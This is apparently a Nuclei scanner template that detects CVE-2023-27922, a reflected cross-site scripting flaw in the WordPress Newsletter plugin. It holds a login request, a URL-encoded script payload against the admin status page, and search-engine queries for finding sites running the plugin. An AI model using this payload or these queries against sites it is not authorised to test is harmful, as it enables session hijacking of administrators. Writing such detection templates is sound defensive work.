Newsletter < 7.6.9 - Cross-Site Scripting

id: CVE-2023-27922

info:
  name: Newsletter < 7.6.9 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as administrators
  impact: |
    Authenticated attackers can exploit reflected XSS through unescaped URL parameters to target high-privilege users like administrators, potentially stealing admin session cookies and hijacking WordPress sites using the Newsletter plugin.
  remediation: |
    Update Newsletter plugin to version 7.6.9 or later that properly escapes generated URLs before outputting them in HTML attributes.
  reference:
    - https://wpscan.com/vulnerability/eb6ff6f0-60fe-4345-b443-97fd4800418c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27922
    - https://jvn.jp/en/jp/JVN59341308/
    - https://wordpress.org/plugins/newsletter/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-27922
    cwe-id: CWE-79
    epss-score: 0.01198
    epss-percentile: 0.64395
    cpe: cpe:2.3:a:thenewsletterplugin:newsletter:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thenewsletterplugin
    product: newsletter
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/newsletter/
    fofa-query: body=/wp-content/plugins/newsletter/
    publicwww-query: /wp-content/plugins/newsletter/
  tags: cve2023,cve,wpscan,wordpress,wp,wp-plugin,xss,newsletter,authenticated,thenewsletterplugin,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=newsletter_system_status&a%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "text/html")'
          - 'contains(tolower(body_2), "_newsletter_")'
          - 'contains(body_2, "><script>alert(document_domain)</script>")'
        condition: and
# digest: 4a0a0047304502206c4c32356be73be39f0d81b5c3caa056239d4fa1f3297023ec6035ff4e82f01202210084f07cc70e88bef3ad6d19b9575173df781cd04d3acc4d64523d7063fa4ad71d:922c64590222798bb761d5b6d8e72950